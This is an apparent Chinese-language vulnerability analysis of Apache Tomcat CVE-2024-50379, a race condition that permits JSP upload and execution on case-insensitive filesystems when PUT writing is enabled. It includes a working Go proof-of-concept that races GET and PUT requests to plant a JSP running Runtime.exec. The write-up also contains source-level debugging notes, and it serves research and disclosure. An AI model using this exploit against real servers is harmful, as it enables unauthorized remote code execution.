漏洞描述

Apache Tomcat 中 JSP 编译期间的检查时间使用时间 (TOCTOU) 竞争条件漏洞允许在默认 servlet 启用写入时(非默认配置)对不区分大小写的文件系统进行 RCE。由于 Apache Tomcat 的 JSP 编译过程存在条件竞争漏洞,当在不区分大小写的系统上启用了 default servlet 的写入功能(默认关闭)时,并发同时读取和上传同一个文件可以绕过 Tomcat 的大小写敏感检查,将可能造成远程代码执行,漏洞利用需要条件竞争,对网络以及机器性能环境等有一定要求。

影响版本

11.0.0-M1 <= Apache Tomcat < 11.0.2

10.1.0-M1 <= Apache Tomcat < 10.1.34

9.0.0.M1 <= Apache Tomcat < 9.0.98

快速复现

下面我们快速搭建环境,并用给定的脚本测试一下。

环境搭建

我使用的是 Tomcat 10.1.19 ,需要搭配 JDK 11 。

在配置文件 tomcat/conf/web.xml 中找到如下的配置:

并添加一条 readonly = false ,表示关闭只读,允许客户端通过 HTTP 方法(如 PUTDELETE)修改静态资源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  <servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

远程调试 Tomcat

对远程调试还是不太熟,这里记录一下,感谢 yyjccc 师傅的远程指导。

首先我们可以下载一套 Tomcat 的源码,比如 v10.1.19 :https://github.com/apache/tomcat/tags?after=11.0.0-M20

源码需要编译才能运行,为了避免编译过程出现错误,还需要下载一个正式的发行版本:https://dlcdn.apache.org/tomcat/

不过现在 v10.1.19 的发行版已经找不到了,因为我是之前下的。版本的事不必强求,有一套能用的就行,注意版本要对应。

下面开始远程调试:

命令 catalina.bat jpda start 可以快速启动 Tomcat 的远程调试,默认远程调试端口为 8000 ,我们可以在 tomcat 的 bin 目录下执行此命令,注意 Tomcat 10 系列需要搭配 JDK 11 :

然后会弹出一个运行框,没有闪退就算运行成功:

在 idea 中打开 Tomcat 源码文件,右击 Java 目录,选择将目录标记为源代码根目录:

随后 idea 右上角打开编辑配置(换中文版了):

在打开的窗口中点击加号,选择远程 JVM 调试,端口设置为 8000 以连接 Tomcat 的远程调试端口,模块类路径设置为当前项目:

确定后即可开始远程调试了。我们可以在源码中下断点,开始调试:

随便访问一个路径:http://127.0.0.1:8080/test.aaa 即可跳到断点处:

那么环境就搭建好了。

测试 poc

我用 go 写了一个专门测试此漏洞的程序,本测试代码 (Proof of Concept, PoC) 仅供安全研究、漏洞验证和学习使用。请注意以下事项:

  1. 仅限本地环境

    本 PoC 设计用于在安全可控的本地测试环境中运行,不得用于任何未经授权的系统或网络。

  2. 禁止非法用途

    在任何情况下,使用本 PoC 攻击、破坏、或未经许可地访问他人系统或网络均可能违反法律法规,使用者需自行承担由此产生的一切后果。

  3. 仅作教育目的

    本 PoC 的发布旨在促进信息安全领域的研究与交流,作者不对使用者行为产生的任何后果承担责任。

  4. 用户责任

    使用本 PoC 前,请确保已了解并遵守相关法律法规,并取得环境所有者的明确许可。

温馨提示:

  1. 运行此程序后会弹出超多计算器,为了防止电脑死机,在弹出计算器后请立即终止程序,并快速叉掉出现的计算器。
  2. 每次运行时修改一下文件名,这是由于已上传的文件无法再次触发本漏洞。
  3. 该程序会先向服务器请求某个文件 10 次,然后才开始并发地发送 GET 和 PUT 请求,后面会说明原因。GET 和 PUT 请求均会发送 10000 次,线程数均为 20 。相当于总共发送 10000 * 2 次请求,同时开启的线程数为 40 ,因为这个数字小了可能不成功。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
/**
* @author miaoji
* @file main.go
* @brief CVE-2024-50379 POC
* @date 2025-01-06
*/

package main

import (
"bytes"
"fmt"
"net"
"net/http"
"strings"
"sync"
"time"
)

var httpClient = &http.Client{
Transport: &http.Transport{
MaxIdleConns: 50,
MaxConnsPerHost: 20,
IdleConnTimeout: 30 * time.Second,
DialContext: (&net.Dialer{
Timeout: 10 * time.Second,
KeepAlive: 30 * time.Second,
}).DialContext,
},
Timeout: 10 * time.Second,
}

var GetTargetUrl = "http://127.0.0.1:8080/CVE_2024_50379_war/aaa.jsp"
var PutTargetUrl = strings.Replace(GetTargetUrl, ".jsp", ".Jsp", 1)

// 发送 GET 请求
func sendGetRequest() {
resp, err := httpClient.Get(GetTargetUrl)
if err != nil {
fmt.Println("GET 请求失败:", err)
return
}
defer resp.Body.Close()

fmt.Println("GET 响应状态:", resp.Status)
}

// 发送 PUT 请求
func sendPutRequest() {
payload := []byte("<% Runtime.getRuntime().exec(\"calc\"); %>") // 文件内容
req, err := http.NewRequest(http.MethodPut, PutTargetUrl, bytes.NewBuffer(payload))
if err != nil {
fmt.Println("创建 PUT 请求失败:", err)
return
}
req.Header.Set("Content-Type", "text/plain")

resp, err := httpClient.Do(req)
if err != nil {
fmt.Println("PUT 请求失败:", err)
return
}
defer resp.Body.Close()

fmt.Println("PUT 响应状态:", resp.Status)
}

func main() {
fmt.Println(PutTargetUrl)

totalRequests := 10000 // 总请求数
concurrentRequests := 20 // 并发请求数
var wg sync.WaitGroup
semaphore := make(chan struct{}, concurrentRequests)

// 顺序发送 10 次 GET 请求
for i := 0; i < 10; i++ {
sendGetRequest()
}

// 并发竞争发送 GET 和 PUT 请求
for i := 0; i < totalRequests; i++ {
wg.Add(1)
semaphore <- struct{}{}
go func() {
defer func() {
wg.Done()
<-semaphore
}()
sendGetRequest()
}()

wg.Add(1)
semaphore <- struct{}{}
go func() {
defer func() {
wg.Done()
<-semaphore
}()
sendPutRequest()
}()
}

wg.Wait()
fmt.Println("所有请求已完成")
}

漏洞复现

修改好 URL 后直接运行:

漏洞分析

漏洞的简单原理就是通过 PUT 方式向服务器上传 jsp 文件,利用大小写后缀绕过上传限制,比如上传 .Jsp 。但是此时上传的文件是不会被当作 jsp 解析的,所以需要竞争读取和写入此文件,即并发地发送 GET 和 PUT 请求,最终由于 Windows 的大小写不敏感原因导致将不合理的后缀名解析了。

上传文件

首先在 readonly = false 的情况下,可以使用 PUT 方式上传文件,但是如果直接上传 jsp 文件会 404 :

大小写后缀名即可上传成功:

但是此时去访问是不会命令执行的,因为它不会被当作 jsp 解析:

并且我们还注意到当访问了一次 test.Jsp 后,在浏览器访问 http://localhost:8080/test.jsp 时会自动跳转到正确的文件 test.Jsp 。

这是由于 Tomcat 服务器被搭建在 Windows 操作系统上,而 Windows 文件系统默认对文件名大小写不敏感,如果一个文件名是 test.Jsp,即使你在浏览器中访问 test.jsp,操作系统仍会匹配到 test.Jsp 并返回内容。同样的道理,访问 TEST.jsp 或其他大小写组合也会匹配到现有的文件。

访问普通资源

接下来我们进入 Tomcat 的源码分析其原因。Tomcat 中,对于 .jsp 与 .jspx 后缀的请求会交由 JspServlet 处理,而一般的请求则是交由 DefaultServlet 处理。我们在 DefaultServlet 的 service 方法下断点,然后访问一个 test.JSP (注意后缀名是大写):

经过如下路径后:

1
2
3
4
5
6
7
8
9
10
11
12
13
DefaultServlet#service(HttpServletRequest, HttpServletResponse)
HttpServlet#service(HttpServletRequest, HttpServletResponse)
DefaultServlet#doGet(HttpServletRequest, HttpServletResponse)
DefaultServlet#serveResource(HttpServletRequest, HttpServletResponse, boolean, String)
StandardRoot#getResource(String)
StandardRoot#getResource(String, boolean, boolean)
Cache#getResource(String, boolean)
CachedResource#validateResource(boolean)
StandardRoot#getResourceInternal(String, boolean)
DirResourceSet#getResource(String)
AbstractFileResourceSet#file(String, boolean)
File#getCanonicalPath()
WinNTFileSystem#canonicalize(String)

好的,那么就来到了 WinNTFileSystem 的 canonicalize 方法。经过前面的处理呢,这里的 path 已经变成了一个本地路径:

这个方法的前面一部分会判断路径是否只包含盘符,如果是则直接返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int len = path.length();
if ((len == 2) &&
(isLetter(path.charAt(0))) &&
(path.charAt(1) == ':')) {
char c = path.charAt(0);
if ((c >= 'A') && (c <= 'Z'))
return path;
return "" + ((char) (c-32)) + ':';
} else if ((len == 3) &&
(isLetter(path.charAt(0))) &&
(path.charAt(1) == ':') &&
(path.charAt(2) == '\\')) {
char c = path.charAt(0);
if ((c >= 'A') && (c <= 'Z'))
return path;
return "" + ((char) (c-32)) + ':' + '\\';
}

然后会判断 useCanonCaches 是否为 true ,这里是默认为 true ,直接进入 else 分支。先从缓存里面获取路径:

如果没有获取到,则会进入下面两个分支,第一是 useCanonPrefixCache 为 true 的情况下(当然这里是默认为 true),调用 parentOrNull 方法获取父目录以及从前缀缓存 prefixCache 中获取前缀,最后拼接成完整路径,并 put 进缓存中;第二则是若前面的方法仍没有获取到,则调用 canonicalize0 方法来获取,并加入缓存中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if (useCanonPrefixCache) {
dir = parentOrNull(path);
if (dir != null) {
resDir = prefixCache.get(dir);
if (resDir != null) {
/*
* Hit only in prefix cache; full path is canonical,
* but we need to get the canonical name of the file
* in this directory to get the appropriate
* capitalization
*/
String filename = path.substring(1 + dir.length());
res = canonicalizeWithPrefix(resDir, filename);
cache.put(dir + File.separatorChar + filename, res);
}
}
}
if (res == null) {
res = canonicalize0(path);
cache.put(path, res);
if (useCanonPrefixCache && dir != null) {
resDir = parentOrNull(res);
if (resDir != null) {
File f = new File(res);
if (f.exists() && !f.isDirectory()) {
prefixCache.put(dir, resDir);
}
}
}
}

跟进发现 canonicalize0 方法是个 native 方法,那么我们需要查看它的 C/C++ 实现:

跟进 C 源码

同样记录一下是怎么找到 C 源码的。

其实只要下个 JDK 源码就行了,我这里用的是 JDK 11 :https://jdk.java.net/java-se-ri/11-MR3 ,在这里下载:

然后在源码的 openjdk-11.0.0.2_src\openjdk\src\java.base\windows\native 路径下就可以找到了,比如 WinNTFileSystem 的源码在 openjdk-11.0.0.2_src\openjdk\src\java.base\windows\native\libjava\WinNTFileSystem_md.c :

我们可以看到 WinNTFileSystem 的 canonicalize0 函数的 C 语言实现:

前面算长度,分配内存,不用看。这里使用 wcanonicalize 函数对路径进行规范化,我们可以找到 wcanonicalize 函数的实现。

这里发现 wcanonicalize 方法是外部导入的:

可以在同一个文件夹的 canonicalize_md.c 文件中找到它的定义:

我们来关注这段代码:

逐级解析路径

  • 代码使用 wnextsep 找到路径中的下一个分隔符(\),并以分隔符为单位逐级解析路径。
  • 每解析一级路径,都调用 FindFirstFileW 进行文件或目录查找。

更新路径

  • 如果找到路径中的当前部分,fd.cFileName 包含其大小写规范形式。
  • 使用 wcp 将其追加到目标路径 dst 中。

保留大小写信息

  • fd.cFileName 的大小写与文件系统中实际存储的大小写一致,因此代码最终生成的路径包含了真实的大小写。

这里 FindFirstFileW 是一个 C 库函数,位于 fileapi.h 头文件中。其文档:https://learn.microsoft.com/zh-cn/windows/win32/api/fileapi/nf-fileapi-findfirstfilew

  • Windows 文件系统本身是大小写不敏感的,FindFirstFileW 在查找时忽略路径中部分的大小写,而它返回的文件名保留的是文件在文件系统中真实存在的大小写。
  • 例如,传入路径 C:\Test\file.txtC:\TEST\FILE.TXT 都可以匹配实际存储的 C:\Test\File.txt

访问 jsp 资源

接下来我们重新调试,在 JspServlet 的 service 方法下断点,并访问一个 index.jsp :

下面直接给出经过的路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
JspServlet#service(HttpServletRequest, HttpServletResponse)
JspServlet#serviceJspFile(HttpServletRequest, HttpServletResponse, String, boolean)
ApplicationContextFacade#getResource(String)
ApplicationContext#getResource(String)
StandardRoot#getResource(String)
StandardRoot#getResource(String, boolean, boolean)
Cache#getResource(String, boolean)
CachedResource#validateResource(boolean)
StandardRoot#getResourceInternal(String, boolean)
DirResourceSet#getResource(String)
AbstractFileResourceSet#file(String, boolean)
File#getCanonicalPath()
WinNTFileSystem#canonicalize(String)

可以看到,从 StandardRoot 开始,后面的路径与访问普通资源时是一样的。

所以,我们的目光仍然聚焦到 WinNTFileSystem 的 canonicalize 方法。当前面的步骤都没有获取到 res 时,会调用 canonicalize0 方法来获取 res ,可以看到其值与 res 是一模一样的,因为 index.jsp 文件是存在的。然后将 path 与 res 的映射关系 put 进缓存中(具体来说,是添加在 cache.map.table 中):

但这是 jsp 文件存在的情况,现在我上传一个 aaa.Jsp ,然后访问 aaa.jsp ,再次走到这里,会发现结果也正如预料的那般,经过 canonicalize0 方法后获取到的是 aaa.Jsp :

那么缓存中也确实会存一份 aaa.jsp -> aaa.Jsp 的映射关系。虽说成功找到了该文件,但我们都知道这个文件最后是没有执行的,所以还得继续往下调试,看看到底为什么没有执行。

此时我们回到 AbstractFileResourceSet#file(String, boolean),这里的 canPath 获取到的是 aaa.Jsp:

然后 absPath 获取到的是 aaa.jsp:

然后 canPath 与 absPath 两人都把路径去掉了:

这边 canPath 经过规范化把斜杠换了个方向,最后是要对比 canPath 跟 absPath 一样不一样,这里返回 null ,是因为大小写不一样:

所以我访问是 404 大概是因为这里返回 null:

后续校验

除了 AbstractFileResourceSet#file(String, boolean) 这里 canPath 与 absPath 的 equals 校验,在返回的路径中,还存在多处校验。

当返回到 DirResourceSet#getResource(String) 时,会存在对返回文件的校验,只有当文件存在时才会返回:

当返回到 CachedResource#validateResource(boolean) 时,在非 WAR 打包的情况下,会检查资源是否被修改、添加或删除,从而确定是否需要更新或重新加载资源,这里将会两次进入 StandardRoot#getResourceInternal(String, boolean) 方法,也即前面的 canPath 与 absPath 校验将会进行两次:

现在回到调试的最开始,其实我们进入了这样一些方法,其中 JspCompilationContext#getLastModified(String, Jar) 方法先是会调用 getResource 方法,进而触发 StandardRoot 的 getResource() 方法:

待其返回之后,会触发 CachedResource$CachedResourceURLConnection 的 getLastModified() 方法,随后再次进入 StandardRoot 的 getResource() 方法:

JspCompilationContext#getLastModified(String, Jar) 部分代码如下:

再次进入 StandardRoot 的 getResource() 方法就意味着前面的校验都需要再进行一次,我们需要保证本次 AbstractFileResourceSet#file(String, boolean) 中取到的 canPath 与 absPath 仍然是一致的。

现在看起来就需要至少四次进行 canPath 与 absPath 校验了。

在 JspCompilationContext#getLastModified(String, Jar) 的结尾部分,调用了 uc.getInputStream() :

跟入到达 CachedResource$CachedResourceURLConnection#getInputStream() 方法,这里将再次调用 StandardRoot#getResource(String, boolean, boolean) 方法,于是乎校验六次了:

结尾调用 getResource().getInputStream() ,八次校验最后读取文件。

构造竞争条件

我们梳理一下上面的分析,就可以发现应当如何竞争:

  1. DefaultServlet 和 JspServlet 在查找文件时最后都会将其加入缓存中。
  2. WinNTFileSystem#canonicalize(String) 在查找文件时会先看缓存中有没有,如果有则直接返回缓存中的值,如果没有则会进行忽略大小写的查找,最后会返回实际的文件名大小写。
  3. AbstractFileResourceSet#file(String, boolean) 会将要查找的文件名和实际的文件名做比较,如果不是严格相等,则会返回 null 。

我们希望 AbstractFileResourceSet 获取到的实际的文件名是小写 jsp 后缀,这样才能通过检查并作为 jsp 处理,那么就需要 WinNTFileSystem 返回的是一个小写 jsp 后缀。

由于我只能上传大小写后缀(比如 Jsp ),那么当文件存在时,WinNTFileSystem 获取到的就只能是大小写后缀,缓存中也只能放 jsp -> Jsp 。所以只能是文件不存在的时候获取,这样返回的就是小写后缀 jsp ,缓存中存 jsp -> jsp(文件不存在时返回原始输入) 。

为了通过上述八次校验(如果有遗漏就可能更多),我先访问某个 jsp 文件十次(当然十次可能并无必要),令缓存中存在 “xxx.jsp” -> “xxx.jsp” 的映射,随后 GET xxx.jsp 和 PUT xxx.Jsp 并发进行,目的是当 GET xxx.jsp 已经通过前八次校验之后读取文件之时 xxx.Jsp 文件正好落地,这样读取的就是 xxx.Jsp ,并会将它当作 jsp 文件解析。

看起来就是一坨,这样的洞能挖到也是神人了。

漏洞修复

由于本漏洞修复不完全导致后续又出现了 CVE-2024-56337 ,最后官方决定禁用缓存,即将 useCanonCaches 设置为 false 。

参考文章

Tomcat CVE-2024-50379 / CVE-2024-56337 条件竞争漏洞分析